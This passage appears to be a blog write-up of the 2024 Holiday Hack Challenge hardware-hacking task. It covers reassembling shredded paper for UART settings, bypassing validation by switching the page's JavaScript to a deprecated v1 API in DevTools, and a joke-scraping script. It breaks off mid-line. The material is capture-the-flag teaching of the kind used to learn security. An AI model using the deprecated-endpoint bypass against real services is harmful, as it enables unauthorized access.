&lt;h2 id=&#34;Hints&#34;&gt;&lt;a href=&#34;#Hints&#34; class=&#34;headerlink&#34; title=&#34;Hints&#34;&gt;&lt;/a&gt;Hints&lt;/h2&gt;&lt;h3 id=&#34;On-the-Cutting-Edge&#34;&gt;&lt;a href=&#34;#On-the-Cutting-Edge&#34; class=&#34;headerlink&#34; title=&#34;On the Cutting Edge&#34;&gt;&lt;/a&gt;On the Cutting Edge&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Morcel Nougat&lt;/em&gt;&lt;br&gt;Hey, I just caught wind of this neat way to piece back shredded paper! It’s a fancy heuristic detection technique-sharp as an elf’s wit, I tell ya! Got a sample Python script right here, courtesy of Arnydo. Check it out when you have a sec: &lt;a href=&#34;https://gist.github.com/arnydo/5dc85343eca9b8eb98a0f157b9d4d719&#34;&gt;heuristic_edge_detection.py&lt;/a&gt;.”&lt;/p&gt;
&lt;h3 id=&#34;Shredded-to-Pieces&#34;&gt;&lt;a href=&#34;#Shredded-to-Pieces&#34; class=&#34;headerlink&#34; title=&#34;Shredded to Pieces&#34;&gt;&lt;/a&gt;Shredded to Pieces&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Jewel Loggins&lt;/em&gt;&lt;br&gt;Have you ever wondered how elves manage to dispose of their sensitive documents? Turns out, they use this fancy shredder that is quite the marvel of engineering. It slices, it dices, it makes the paper practically disintegrate into a thousand tiny pieces. Perhaps, just perhaps, we could reassemble the pieces?&lt;/p&gt;
&lt;h2 id=&#34;Silver-trophy&#34;&gt;&lt;a href=&#34;#Silver-trophy&#34; class=&#34;headerlink&#34; title=&#34;Silver trophy&#34;&gt;&lt;/a&gt;Silver trophy&lt;/h2&gt;&lt;p&gt;To get the silver trophy we need to connect the UART bridge following the manual and geting the right parameters.&lt;br&gt;To obtain the parameters we can reconstruct the “One Thousand Little Teeny Tiny Shredded Pieces of Paper” retrieved in the “Frosty Keypad” challenge using &lt;code&gt;heuristic_edge_detection.py&lt;/code&gt;. The &lt;code&gt;shreds.zip&lt;/code&gt; archive extracts the folder &lt;code&gt;slices&lt;/code&gt; which is exactly the default input folder of &lt;code&gt;heuristic_edge_detection.py&lt;/code&gt;, so it just needs to be ran:  &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;(&lt;span class=&#34;built_in&#34;&gt;env&lt;/span&gt;) thedead@maccos act1-frosty-keypad % python3 heuristic_edge_detection.py&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;Reconstructing the image to &lt;code&gt;assembled_image.png&lt;/code&gt;:&lt;br&gt;&lt;img src=&#34;/2024/11/18/2024-06-01-Hardware-Hacking-101-Part-1/06_01_02_HardwareHacking101Part1_assembledImage.png&#34;&gt;&lt;br&gt;Quickly fixing the image leads to the parameters:&lt;br&gt;&lt;img src=&#34;/2024/11/18/2024-06-01-Hardware-Hacking-101-Part-1/06_01_03_HardwareHacking101Part1_assembledImageFixed.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;Having the information, we can wire up the UART bridge (remember to invert TX &amp;amp; RX), set the parameters and connect:&lt;br&gt;&lt;img src=&#34;/2024/11/18/2024-06-01-Hardware-Hacking-101-Part-1/06_01_04_HardwareHacking101Part1_connected.png&#34;&gt;&lt;/p&gt;
&lt;h1 id=&#34;Gold-trophy&#34;&gt;&lt;a href=&#34;#Gold-trophy&#34; class=&#34;headerlink&#34; title=&#34;Gold trophy&#34;&gt;&lt;/a&gt;Gold trophy&lt;/h1&gt;&lt;p&gt;Analyzing the &lt;a href=&#34;https://hhc24-hardwarehacking.holidayhackchallenge.com/js/main.js&#34;&gt;&lt;code&gt;main.js&lt;/code&gt;&lt;/a&gt; source code I noticed the function &lt;code&gt;checkit&lt;/code&gt; was referring to an old API version:&lt;/p&gt;
&lt;figure class=&#34;highlight js&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;async&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;checkit&lt;/span&gt;(&lt;span class=&#34;params&#34;&gt;serial, uV&lt;/span&gt;) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;comment&#34;&gt;// ... omissis ...&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;comment&#34;&gt;// Build the URL with the request ID as a query parameter&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;comment&#34;&gt;// Word on the wire is that some resourceful elves managed to brute-force their way in through the v1 API.&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;comment&#34;&gt;// We have since updated the API to v2 and v1 &amp;quot;should&amp;quot; be removed by now.&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;comment&#34;&gt;// const url = new URL(`$&amp;#123;window.location.protocol&amp;#125;//$&amp;#123;window.location.hostname&amp;#125;:$&amp;#123;window.location.port&amp;#125;/api/v1/complete`);&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;keyword&#34;&gt;const&lt;/span&gt; url = &lt;span class=&#34;keyword&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;URL&lt;/span&gt;(&lt;span class=&#34;string&#34;&gt;`&lt;span class=&#34;subst&#34;&gt;$&amp;#123;&lt;span class=&#34;variable language_&#34;&gt;window&lt;/span&gt;.location.protocol&amp;#125;&lt;/span&gt;//&lt;span class=&#34;subst&#34;&gt;$&amp;#123;&lt;span class=&#34;variable language_&#34;&gt;window&lt;/span&gt;.location.hostname&amp;#125;&lt;/span&gt;:&lt;span class=&#34;subst&#34;&gt;$&amp;#123;&lt;span class=&#34;variable language_&#34;&gt;window&lt;/span&gt;.location.port&amp;#125;&lt;/span&gt;/api/v2/complete`&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;keyword&#34;&gt;try&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;comment&#34;&gt;// Make the request to the server&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;const&lt;/span&gt; response = &lt;span class=&#34;keyword&#34;&gt;await&lt;/span&gt; &lt;span class=&#34;title function_&#34;&gt;fetch&lt;/span&gt;(url, &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      &lt;span class=&#34;attr&#34;&gt;method&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;#x27;POST&amp;#x27;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      &lt;span class=&#34;attr&#34;&gt;headers&lt;/span&gt;: &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;string&#34;&gt;&amp;#x27;Content-Type&amp;#x27;&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;#x27;application/json&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      &amp;#125;,&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      &lt;span class=&#34;attr&#34;&gt;body&lt;/span&gt;: &lt;span class=&#34;title class_&#34;&gt;JSON&lt;/span&gt;.&lt;span class=&#34;title function_&#34;&gt;stringify&lt;/span&gt;(&amp;#123; &lt;span class=&#34;attr&#34;&gt;requestID&lt;/span&gt;: requestID, &lt;span class=&#34;attr&#34;&gt;serial&lt;/span&gt;: serial, &lt;span class=&#34;attr&#34;&gt;voltage&lt;/span&gt;: uV &amp;#125;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &amp;#125;);&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;comment&#34;&gt;// ... omissis ...&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;The values of serial and uV can be retrieved from a manual successful call:&lt;/p&gt;
&lt;figure class=&#34;highlight js&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&amp;#123;&lt;span class=&#34;string&#34;&gt;&amp;quot;requestID&amp;quot;&lt;/span&gt;:&lt;span class=&#34;string&#34;&gt;&amp;quot;42da0de9-2884-440c-b6c7-5ed459a991f7&amp;quot;&lt;/span&gt;,&lt;span class=&#34;string&#34;&gt;&amp;quot;serial&amp;quot;&lt;/span&gt;:[&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;9&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;2&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;2&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;,&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;],&lt;span class=&#34;string&#34;&gt;&amp;quot;voltage&amp;quot;&lt;/span&gt;:&lt;span class=&#34;number&#34;&gt;3&lt;/span&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;I then tried to override the API endpoint using DevTools:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/2024/11/18/2024-06-01-Hardware-Hacking-101-Part-1/06_01_04_HardwareHacking101Part1_devTools_api.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;And calling the &lt;code&gt;checkit&lt;/code&gt; function directly from the console did the trick:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/2024/11/18/2024-06-01-Hardware-Hacking-101-Part-1/06_01_04_HardwareHacking101Part1_devTools_checkIt.png&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;Funsies&#34;&gt;&lt;a href=&#34;#Funsies&#34; class=&#34;headerlink&#34; title=&#34;Funsies&#34;&gt;&lt;/a&gt;Funsies&lt;/h2&gt;&lt;h3 id=&#34;sosatisfying&#34;&gt;&lt;a href=&#34;#sosatisfying&#34; class=&#34;headerlink&#34; title=&#34;#sosatisfying&#34;&gt;&lt;/a&gt;#sosatisfying&lt;/h3&gt;&lt;p&gt;&lt;img src=&#34;/2024/11/18/2024-06-01-Hardware-Hacking-101-Part-1/06_01_99_HardwareHacking101Part1_soSatisfying.gif&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;Dad-jokes&#34;&gt;&lt;a href=&#34;#Dad-jokes&#34; class=&#34;headerlink&#34; title=&#34;Dad jokes&#34;&gt;&lt;/a&gt;Dad jokes&lt;/h3&gt;&lt;p&gt;Looking at the &lt;code&gt;main.js&lt;/code&gt; file, I found an interesting function called &lt;code&gt;dad&lt;/code&gt; returning dad jokes… Let’s get them!&lt;/p&gt;
&lt;figure class=&#34;highlight python&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;26&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; requests&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;import&lt;/span&gt; json&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;url = &lt;span class=&#34;string&#34;&gt;&amp;#x27;https://hhc24-hardwarehacking.holidayhackchallenge.com/joke&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;try&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;keyword&#34;&gt;with&lt;/span&gt; &lt;span class=&#34;built_in&#34;&gt;open&lt;/span&gt;(&lt;span class=&#34;string&#34;&gt;&amp;quot;jokes.txt&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;r&amp;quot;&lt;/span&gt;) &lt;span class=&#34;keyword&#34;&gt;as&lt;/span&gt; jokes_file:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    jokes = jokes_file.read().split(&lt;span class=&#34;string&#34;&gt;&amp;quot;\n&amp;quot;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;jokes --&amp;gt; &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(jokes))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;except&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  jokes = []&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;with&lt;/span&gt; &lt;span class=&#34;built_in&#34;&gt;open&lt;/span&gt;(&lt;span class=&#34;string&#34;&gt;&amp;quot;jokes.txt&amp;quot;&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;a&amp;quot;&lt;/span&gt;) &lt;span class=&#34;keyword&#34;&gt;as&lt;/span&gt; jokes_file:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  sameJokeCount = &lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;keyword&#34;&gt;while&lt;/span&gt; sameJokeCount &amp;lt; &lt;span class=&#34;number&#34;&gt;1000&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    r = requests.get(url)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    joke = json.loads(r.text)[&lt;span class=&#34;string&#34;&gt;&amp;#x27;joke&amp;#x27;&lt;/span&gt;]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;if&lt;/span&gt; joke &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; jokes:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;GOT [&amp;#123;&amp;#125;] OLD (DAD) JOKES: &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(sameJokeCount, joke))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      sameJokeCount += &lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;else&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      jokes_file.write(&lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;#123;&amp;#125;\n&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(joke))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      jokes.append(joke)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;NEW (DAD) JOKE: &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(joke))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;      sameJokeCount = &lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;At your service:&lt;/p&gt;
&lt;figure class=&#34;highlight ruby&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;What&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;do&lt;/span&gt; you get &lt;span class=&#34;keyword&#34;&gt;if&lt;/span&gt; you cross a snowman &lt;span class=&#34;keyword&#34;&gt;and&lt;/span&gt; a vampire? &lt;span class=&#34;title class_&#34;&gt;Frostbite&lt;/span&gt;!&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;What&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;do&lt;/span&gt; snowmen eat &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; breakfast? &lt;span class=&#34;title class_&#34;&gt;Frosted&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;Flakes&lt;/span&gt;!&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;What&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;do&lt;/span&gt; you get &lt;span class=&#34;keyword&#34;&gt;if&lt;/span&gt; you eat &lt;span class=&#34;title class_&#34;&gt;Christmas&lt;/span&gt; decorations? &lt;span class=&#34;title class_&#34;&gt;Tinselitis&lt;/span&gt;!&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;How&lt;/span&gt; does &lt;span class=&#34;title class_&#34;&gt;Rudolph&lt;/span&gt; know &lt;span class=&#34;keyword&#34;&gt;when&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;Christmas&lt;/span&gt; is coming? &lt;span class=&#34;title class_&#34;&gt;He&lt;/span&gt; refers to his calen-deer.&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;How&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;do&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;Christmas&lt;/span&gt; angels greet each other? &lt;span class=&#34;title class_&#34;&gt;They&lt;/span&gt; say, &lt;span class=&#34;string&#34;&gt;&amp;#x27;Halo!&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Why&lt;/span&gt; was the &lt;span class=&#34;title class_&#34;&gt;Christmas&lt;/span&gt; stocking so excited? &lt;span class=&#34;title class_&#34;&gt;It&lt;/span&gt; was filled with sole!&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;What&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;do&lt;/span&gt; you get &lt;span class=&#34;keyword&#34;&gt;when&lt;/span&gt; you cross a bell with a skunk? &lt;span class=&#34;title class_&#34;&gt;Jingle&lt;/span&gt; smells!&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Why&lt;/span&gt; was the &lt;span class=&#34;title class_&#34;&gt;Christmas&lt;/span&gt; cookie sad? &lt;span class=&#34;title class_&#34;&gt;Because&lt;/span&gt; it was feeling crumby.&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Why&lt;/span&gt; was the math book sad at &lt;span class=&#34;title class_&#34;&gt;Christmas&lt;/span&gt;? &lt;span class=&#34;title class_&#34;&gt;Because&lt;/span&gt; it had too many problems.&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Why&lt;/span&gt; don&lt;span class=&#34;string&#34;&gt;&amp;#x27;t you ever see Santa in the hospital? Because he has private elf care!&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;What do reindeer say before telling you a joke? This one&amp;#x27;&lt;/span&gt;s gonna sleigh you!&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Why&lt;/span&gt; did the turkey join the band? &lt;span class=&#34;title class_&#34;&gt;Because&lt;/span&gt; it had the drumsticks!&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Why&lt;/span&gt; was the &lt;span class=&#34;title class_&#34;&gt;Christmas&lt;/span&gt; tree so bad at knitting? &lt;span class=&#34;title class_&#34;&gt;Because&lt;/span&gt; it kept dropping its needles!&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;What&lt;/span&gt; does &lt;span class=&#34;title class_&#34;&gt;Santa&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;do&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;when&lt;/span&gt; his elves misbehave? &lt;span class=&#34;title class_&#34;&gt;He&lt;/span&gt; gives them the sack!&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Why&lt;/span&gt; did &lt;span class=&#34;title class_&#34;&gt;Santa&lt;/span&gt; go to music school? &lt;span class=&#34;title class_&#34;&gt;To&lt;/span&gt; improve his wrapping skills!&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;What&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;do&lt;/span&gt; you call &lt;span class=&#34;title class_&#34;&gt;Santa&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;when&lt;/span&gt; he stops moving? &lt;span class=&#34;title class_&#34;&gt;Santa&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;Pause&lt;/span&gt;.&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;What&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;do&lt;/span&gt; you call an elf who sings? A wrapper!&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;How&lt;/span&gt; does a snowman get around? &lt;span class=&#34;title 